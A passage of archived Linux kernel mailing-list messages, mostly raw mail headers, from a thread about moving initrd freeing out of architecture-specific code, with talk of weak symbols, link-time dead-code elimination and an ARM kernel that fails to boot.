	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1ZSI-0007k7-IM
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 17:27:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=LGDg/QOAAJpsDz9revNXwfQoBOf1buk3Pn/Qsaw7at0=; b=kyNHtjXZHbMcW6
	/01BFBSLKKXFn4DpjznZPnI0fKMDJwk83WlVRhZRN4+QbkMbeWFMNkbWGDWHit9DHmpS+x+1UM1Hy
	IDGzx/hKLegTMEaUVqyaMvdi2M86MRywL8O8bcoJwr94GFV1uERVkbTP96QOjA3OIfqklY+8lw55d
	aoRhROKlc9UXyNzrbDigzMqMBY3CZ25+1fXYYN9ZdWoStslr1/cxteHIqQBglBI/nmlGUl2v/I8T3
	ItFIQJkgZUmq/v85kIwAcXOn8vUIGwRF+DiS2ZJO96grmPQ1lEFlEd6hagZUEOL3HTJshllGQQnBi
	V4d0x8/7qY6/cjOdjdOQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1ZUK-0004A3-IE; Thu, 29 Mar 2018 15:29:16 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1ZUC-00046G-3q
 for linux-snps-arc@lists.infradead.org; Thu, 29 Mar 2018 15:29:14 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=tszDhZ36qEhT+cbTS7MjWHFiFTBM6apHylUvgVhpCDU=; 
 b=ePCJ3cfQtbtO22sc7en39ZLcmdH6emq7dEEGhg8fX1MiI/9AhxLwBaq+AYg6OMAKCFubi1fxiKN2DQnIkFutq/xQEwTsmyb/8OGs3gV/QxEUBhhthVlav3Q4rZ7ZJnSA+UawAPxOjnrdYrWzXt2cauVD3gcKrBe2An01ICmGxzI=;
Original-Received: from n2100.armlinux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:55809)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:AES128-GCM-SHA256:128)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1f1ZSz-0008NJ-DD; Thu, 29 Mar 2018 16:27:53 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim
 4.82_1-5b7a7c0-XX) (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1f1ZSw-0005aR-49; Thu, 29 Mar 2018 16:27:50 +0100
Content-Disposition: inline
In-Reply-To: <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_082908_859705_3A3175FC 
X-CRM114-Status: GOOD (  26.26  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [2001:4d48:ad52:3201:214:fdff:fe10:1be6 listed in]
 [list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3705 gmane.linux.ports.mips.general:64292 gmane.linux.ports.sh.devel:56771 gmane.linux.kernel:2728704 gmane.linux.ports.ia64:28773 gmane.linux.ports.hexagon:1616 gmane.linux.kernel.metag:1741 gmane.linux.ports.arm.kernel:641710 gmane.linux.ports.parisc:28448 gmane.linux.ports.alpha:4904 gmane.linux.ports.sparc:27506 gmane.linux.uml.devel:16733 gmane.linux.uml.user:15409 gmane.linux.ports.ppc64.devel:155475
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3705>

On Thu, Mar 29, 2018 at 09:37:52AM +1100, Oliver wrote:
> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
> <linux@armlinux.org.uk> wrote:
> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
> >>
> >>
> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
> >> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> >> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
> >> >>> Now only those architectures that have custom initrd free requirements
> >> >>> need to define free_initrd_mem.
> >> >> ...
> >> >>> --- a/arch/arc/mm/init.c
> >> >>> +++ b/arch/arc/mm/init.c
> >> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> >> >>>  {
> >> >>>   free_initmem_default(-1);
> >> >>>  }
> >> >>> -
> >> >>> -#ifdef CONFIG_BLK_DEV_INITRD
> >> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> >> >>> -{
> >> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
> >> >>> -}
> >> >>> -#endif
> >> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> >> >>> index 3f972e83909b..19d1c5594e2d 100644
> >> >>> --- a/arch/arm/Kconfig
> >> >>> +++ b/arch/arm/Kconfig
> >> >>> @@ -47,6 +47,7 @@ config ARM
> >> >>>   select HARDIRQS_SW_RESEND
> >> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> >> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> >> >>> + select HAVE_ARCH_FREE_INITRD_MEM
> >> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> >> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> >> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU
> >> >>
> >> >> Isn't this why weak symbols were invented?
> >> >
> >> > Weak symbols means that we end up with both the weakly-referenced code
> >> > and the arch code in the kernel image.  That's fine if the weak code
> >> > is small.
> >>
> >> The kernel's been able to build with link time garbage collection since 2016:
> >>
> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> >>
> >> Wouldn't that remove the unused one?
> >
> > Probably, if anyone bothered to use that, which they don't.
> >
> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> > what I can see, nothing selects it.  Therefore, the symbol is always
> > disabled, and so the feature never gets used in mainline kernels.
> >
> > Brings up the obvious question - why is it there if it's completely
> > unused?  (Maybe to cause confusion, and allowing a justification
> > for __weak ?)
> 
> IIRC Nick had some patches to do the arch enablement for powerpc, but
> I'm not sure what happened to them though. I suspect it just fell down
> Nick's ever growing TODO list.

I've given it a go on ARM, marking every linker-built table with KEEP()
and comparing the System.map files.  The resulting kernel is around
150k smaller, which seems good.

However, it doesn't boot - and I don't know why.  Booting the kernel
under kvmtool in a VM using virtio-console, I can find no way to get
any kernel messages out of it.  Using lkvm debug, I can see that the
PC is stuck inside die(), and that's the only information I have.
It dies before bringing up the other CPUs, so it's a very early death.

I don't think other console types are available under ARM64.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 17:43:47 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <CAMuHMdXAckNiUQKT2WU6xaJjbECrifmH6fg_mET+h3iXf_RgDQ@mail.gmail.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
 <20180329152749.GC16141@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522338139 28696 195.159.176.226 (29 Mar 2018 15:42:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 15:42:19 +0000 (UTC)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, Cris <linux-cris-kernel@ax
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 17:42:06 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1Zgg-00075n-Eo
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 17:42:02 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	References:In-Reply-To:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Vs2DuNmVZ8tdSfzskglYaARlWD8NN6Q7BIpIPDHzXjg=; b=qW217Z/iJCRjYd
	6xfTCOfs1/b16O5kaIqN9VYMVkUtw7aIA0qvgHxxFn5KH8AB8Jmhn9gZ7ph6OrUTRLVb1cI86nysv
	BfZSXciPLmzkMjd7R4BYjOLBq5Z1anJNaHz+kuy4f3jPak1WQ7c098oSRXXih2tg8O2Vc3LbhDCLr
	/lIjfzfIUsyH1DAB8GZLT/iVhKWTHY3nIZPdsWp22gsTsUE/b7f12Ah74LNlh/KVl+3SP09aOjh/R
	txBTczVh3N4+9I05BA8zg8THv1TpdUsjAKIdrZP2qXpGRDdLlcRjtHLnIf3MGapnmvqKKjgTgJS2o
	/YyMZ9qqxKL86b8NYLyw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1Zii-0002Ak-OC; Thu, 29 Mar 2018 15:44:08 +0000
Original-Received: from mail-qk0-x244.google.com ([2607:f8b0:400d:c09::244])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1Zia-00027f-QS; Thu, 29 Mar 2018 15:44:07 +0000
Original-Received: by mail-qk0-x244.google.com with SMTP id o64so6418787qkl.7;
 Thu, 29 Mar 2018 08:43:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=NHAZZEXjkRfAu0OaItrJR1Fls26X0hu/wuX9yKcQkw8=;
 b=KsYle7dhbWXZB61S7KxYb1JLVNF/QvYOIFM/Rjd9mCI/rbulCQ2wQU26U0SnI8tCkF
 PHvayrx7urq45FoPJ3rHq++ySDl5TNcYwxJt/hpXaCfiXwy41DHdAVM2JAwAzREN6aiU
 FZP+3HGSJt7gzKv82EL+SCqoTgFwHVsPZzaFOMpZ+DtxwA+JFYv7ZlCYT430/jR8rxZH
 EwlNFGNfuVxBwjTxsMEFL/gG0eK8b+O9Ip4U7g2eX1NPcDbISWHGB/zLdwlFi0y8tVqz
 SJCkW355Np9Ed9Ht3CnyI6/UV1G/8VMHznQkXAdIqP0RoMM4IIZCHF8c+i/y7KyX1mR8
 d9Dg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=NHAZZEXjkRfAu0OaItrJR1Fls26X0hu/wuX9yKcQkw8=;
 b=WjiSpZk5znNqJ9MtNwoc1UkM7OQnUkdgG6B0dV5gs8fV66TE1gD+kAHuREXFHFYv3h
 JD/2d+rgOXS9Dsbj5Y+BELmKkuUgbCAVShKDvJiOhjiL6ok2dD0tj+9MI79Yv/+ed8ZR
 vQFF/jqkeZcs9gpEaxmc+Xp3/jmnb+jkus8YSFFJeOqeO/rDlJbhTNPdmQ28OiBXCqbu
 WnW3NqCsy6dR6QYlILl8zZNpqc+UAK0r3rMbDCUceicRBlKI8VhHfoWX/2ExsCaRsHNo
 pTQ1Ql4hJ4OXvzLNkUrxE0kxR8nRRNgYFfT05nARGBofcXfsUW1MgmEPJvxTod+zIGcA
 mDyg==
X-Gm-Message-State: ALQs6tDcHNYrMsdmPDlRPRSnSEcfJYT0Y0MpHRSiNqQ6SnH1IPsw9x+8
 voL8hquPISL/RQUoRpUB7A31+5Q3fgtyoCOXYYM=
X-Google-Smtp-Source: AIpwx49JBd3+SBMgHXCH8d7Idg12FurIjLqmPTmIhI/z7T+oUxi95TuzVNqjMJDng2+WbzjQYp6HlMO+wJtMk4xMh60=
X-Received: by 10.55.8.147 with SMTP id 141mr11797210qki.228.1522338228247;
 Thu, 29 Mar 2018 08:43:48 -0700 (PDT)
Original-Received: by 10.200.54.147 with HTTP; Thu, 29 Mar 2018 08:43:47 -0700 (PDT)
In-Reply-To: <20180329152749.GC16141@n2100.armlinux.org.uk>
X-Google-Sender-Auth: XR_k5aiSoT5iFZQuDvDX6ovvWKU
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_084400_902949_FCAD0C97 
X-CRM114-Status: GOOD (  26.45  )
X-Spam-Score: 0.5 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:400d:c09:0:0:0:244 listed in] [list.dnswl.org]
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (geert.uytterhoeven[at]gmail.com)
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3706 gmane.linux.ports.mips.general:64293 gmane.linux.ports.sh.devel:56772 gmane.linux.kernel:2728724 gmane.linux.ports.ia64:28774 gmane.linux.ports.hexagon:1617 gmane.linux.kernel.metag:1742 gmane.linux.ports.arm.kernel:641714 gmane.linux.ports.parisc:28449 gmane.linux.ports.alpha:4905 gmane.linux.ports.sparc:27507 gmane.linux.uml.devel:16734 gmane.linux.uml.user:15410 gmane.linux.ports.ppc64.devel:155477
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3706>

On Thu, Mar 29, 2018 at 5:27 PM, Russell King - ARM Linux
<linux@armlinux.org.uk> wrote:
> On Thu, Mar 29, 2018 at 09:37:52AM +1100, Oliver wrote:
>> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
>> <linux@armlinux.org.uk> wrote:
>> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
>> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
>> >> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
>> >> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
>> >> >>> Now only those architectures that have custom initrd free requirements
>> >> >>> need to define free_initrd_mem.
>> >> >> ...
>> >> >>> --- a/arch/arc/mm/init.c
>> >> >>> +++ b/arch/arc/mm/init.c
>> >> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
>> >> >>>  {
>> >> >>>   free_initmem_default(-1);
>> >> >>>  }
>> >> >>> -
>> >> >>> -#ifdef CONFIG_BLK_DEV_INITRD
>> >> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
>> >> >>> -{
>> >> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
>> >> >>> -}
>> >> >>> -#endif
>> >> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
>> >> >>> index 3f972e83909b..19d1c5594e2d 100644
>> >> >>> --- a/arch/arm/Kconfig
>> >> >>> +++ b/arch/arm/Kconfig
>> >> >>> @@ -47,6 +47,7 @@ config ARM
>> >> >>>   select HARDIRQS_SW_RESEND
>> >> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>> >> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
>> >> >>> + select HAVE_ARCH_FREE_INITRD_MEM
>> >> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
>> >> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
>> >> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU
>> >> >>
>> >> >> Isn't this why weak symbols were invented?
>> >> >
>> >> > Weak symbols means that we end up with both the weakly-referenced code
>> >> > and the arch code in the kernel image.  That's fine if the weak code
>> >> > is small.
>> >>
>> >> The kernel's been able to build with link time garbage collection since 2016:
>> >>
>> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
>> >>
>> >> Wouldn't that remove the unused one?
>> >
>> > Probably, if anyone bothered to use that, which they don't.
>> >
>> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
>> > what I can see, nothing selects it.  Therefore, the symbol is always
>> > disabled, and so the feature never gets used in mainline kernels.
>> >
>> > Brings up the obvious question - why is it there if it's completely
>> > unused?  (Maybe to cause confusion, and allowing a justification
>> > for __weak ?)
>>
>> IIRC Nick had some patches to do the arch enablement for powerpc, but
>> I'm not sure what happened to them though. I suspect it just fell down
>> Nick's ever growing TODO list.
>
> I've given it a go on ARM, marking every linker-built table with KEEP()
> and comparing the System.map files.  The resulting kernel is around
> 150k smaller, which seems good.
>
> However, it doesn't boot - and I don't know why.  Booting the kernel
> under kvmtool in a VM using virtio-console, I can find no way to get
> any kernel messages out of it.  Using lkvm debug, I can see that the
> PC is stuck inside die(), and that's the only information I have.
> It dies before bringing up the other CPUs, so it's a very early death.
>
> I don't think other console types are available under ARM64.

earlycon?

Gr{oetje,eeting}s,

                        Geert

-- 
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 16:58:27 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <20180329155827.GD16141@n2100.armlinux.org.uk>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
 <20180329152749.GC16141@n2100.armlinux.org.uk>
 <CAMuHMdXAckNiUQKT2WU6xaJjbECrifmH6fg_mET+h3iXf_RgDQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522339061 32232 195.159.176.226 (29 Mar 2018 15:57:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 15:57:41 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, Cris <linux-cris-kernel@ax
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 17:57:28 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1ZvY-00081J-Rs
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 17:57:25 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=QCMd4BtfufWbdzVTwXunFXx4iXsZom9zMHP9xF67wzE=; b=rpKPDjN1/Ttnid
	wQLKs8n6S5kzAyk6a44XK3lFuWA3M/TzxKQyFuduhnhRvkPcqJPnKdrKHTTi8fkMYjlte2G7SCyH8
	D3CEPQUszZ7Y88kiXLdg2BqootvwpjOXOyJGQ8m8DpVOtHO4BwZ64+FVPbOFhISdhNzi7jfcT/Bu+
	U3YIX8Is+uchM/Ctv0yQD6n0Aw8ERlHJbZvrq9FoUH5+TiywzZDW0VOPog2wGL3aI8y6ML37GVRIr
	7canq4A1prO0Uk1DtvLDkclyEuLY4SnAfpfrW2NXbDfoLlLPiXzytBJQ1o0bZqhbZ2nmsIEutM9Tn
	xNm61YuHUVCL8jNgjydA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1Zxb-0008Ok-HV; Thu, 29 Mar 2018 15:59:31 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1ZxX-0008MW-Is
 for linux-snps-arc@lists.infradead.org; Thu, 29 Mar 2018 15:59:30 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=wE6HAuyt9lNuko9VRmeiNvCi8wauI0InCufCkIlMHaU=; 
